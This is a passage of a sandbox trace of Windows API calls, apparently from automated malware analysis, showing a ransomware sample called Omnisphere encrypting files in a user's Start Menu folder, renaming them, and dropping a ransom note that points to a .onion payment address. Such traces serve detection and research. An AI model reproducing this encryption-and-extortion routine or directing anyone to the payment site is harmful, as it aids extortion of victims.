ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2dfb528f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xf37, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Fax Recipient.lnk.omnisphere", cAlternateFileName="FAXREC~1.OMN")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfb528f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dfb528f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dfb528f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Fax Recipient.lnk.omnisphere.id", cAlternateFileName="FAXREC~1.ID")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2e001aa5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Mail Recipient.MAPIMail.omnisphere", cAlternateFileName="MAILRE~1.OMN")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfdb35a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dfdb35a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dfdb35a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Mail Recipient.MAPIMail.omnisphere.id", cAlternateFileName="MAILRE~1.ID")) returned 1 [0129.026] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ded0e62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ded0e62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2e001aa5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0129.027] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ded0e62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ded0e62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2e001aa5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0129.027] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0129.027] GetProcessHeap () returned 0x1600000 [0129.027] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633408 | out: hHeap=0x1600000) returned 1 [0129.027] GetProcessHeap () returned 0x1600000 [0129.027] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1669098 | out: hHeap=0x1600000) returned 1 [0129.027] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0129.027] GetProcessHeap () returned 0x1600000 [0129.027] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x1633408 [0129.027] PathCombineW (in: pszDest=0x1633408, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Start Menu" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" [0129.027] GetProcessHeap () returned 0x1600000 [0129.027] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x16b1608 [0129.027] PathCombineW (in: pszDest=0x16b1608, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*" [0129.027] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0129.028] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0129.028] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0xd3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.028] GetProcessHeap () returned 0x1600000 [0129.028] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656778 [0129.028] PathCombineW (in: pszDest=0x1656778, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" [0129.028] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0129.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0129.029] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=174) returned 1 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x11602f5 [0129.029] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.040] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] GetTickCount () returned 0x1160305 [0129.041] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0129.042] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0129.042] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0129.042] CryptDestroyKey (hKey=0x16394e8) returned 1 [0129.042] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0129.042] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae, lpName=0x0) returned 0x288 [0129.043] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae) returned 0x1480000 [0129.043] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0129.044] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0129.044] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.044] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.045] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.045] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.045] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0129.045] CryptDestroyKey (hKey=0x1639528) returned 1 [0129.045] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0129.045] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xae, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0129.045] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0129.046] GetProcessHeap () returned 0x1600000 [0129.047] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16f92a0 [0129.047] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini.omnisphere")) returned 1 [0129.701] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.omnisphere.id" [0129.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0129.798] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0129.799] CloseHandle (hObject=0x3c0) returned 1 [0130.189] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0130.190] CloseHandle (hObject=0x288) returned 1 [0130.190] SetEndOfFile (hFile=0x28c) returned 1 [0130.360] FlushFileBuffers (hFile=0x28c) returned 1 [0130.363] CloseHandle (hObject=0x28c) returned 1 [0130.363] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 1 [0130.364] GetProcessHeap () returned 0x1600000 [0130.364] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17275f8 [0130.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0130.364] GetProcessHeap () returned 0x1600000 [0130.364] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdc58 [0130.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdc58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0130.364] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0130.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0130.364] GetProcessHeap () returned 0x1600000 [0130.364] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17103a0 [0130.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17103a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0130.364] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0130.364] GetProcessHeap () returned 0x1600000 [0130.364] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb8) returned 0x166ab78 [0130.364] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\!DECRYPT_OMNISPHERE.txt" [0130.364] GetProcessHeap () returned 0x1600000 [0130.364] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1716bd0 [0130.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0130.388] WriteFile (in: hFile=0x28c, lpBuffer=0x1716bd0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1716bd0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0130.390] CloseHandle (hObject=0x28c) returned 1 [0130.392] GetProcessHeap () returned 0x1600000 [0130.392] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17275f8 | out: hHeap=0x1600000) returned 1 [0130.392] GetProcessHeap () returned 0x1600000 [0130.392] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16f4df0 [0130.392] PathCombineW (in: pszDest=0x16f4df0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\unique_decrypt.key" [0130.392] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0130.394] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0130.395] CloseHandle (hObject=0x28c) returned 1 [0130.397] GetProcessHeap () returned 0x1600000 [0130.397] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4df0 | out: hHeap=0x1600000) returned 1 [0130.397] GetProcessHeap () returned 0x1600000 [0130.397] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656778 | out: hHeap=0x1600000) returned 1 [0130.397] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Programs", cAlternateFileName="")) returned 1 [0130.397] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Programs", cAlternateFileName="")) returned 0 [0130.397] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0130.397] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x2ed2094d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ed2094d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0130.398] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x2ed2094d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ed2094d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0130.398] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ecd44a4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ecd44a4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ed2094d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0130.398] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2ec15860, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5d2, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere", cAlternateFileName="")) returned 1 [0130.398] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e68fe2e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2e68fe2e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2e77eb5a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0130.398] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 